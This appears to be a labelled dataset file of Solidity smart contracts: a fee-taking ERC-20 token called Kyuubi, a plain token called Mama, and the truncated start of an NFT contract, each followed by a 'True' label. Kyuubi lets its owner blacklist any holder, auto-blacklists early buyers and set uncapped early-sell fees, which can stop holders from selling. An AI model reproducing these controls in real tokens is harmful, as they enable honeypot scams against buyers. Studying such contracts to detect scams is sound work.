require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Kyuubi is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Kyuubi", "KYUUBI") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 4;
uint256 _buyLiquidityFee = 4;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 6;
uint256 _sellLiquidityFee = 4;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 0;
uint256 _earlySellMarketingFee = 5;
uint256 _earlySellDevFee = 7
; uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 1) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 4;
sellMarketingFee = 4;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 4;
sellMarketingFee = 4;
sellDevFee = 4;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-01
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract martinaxel is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Mama";
symbol = "MAMA";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-09-15
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
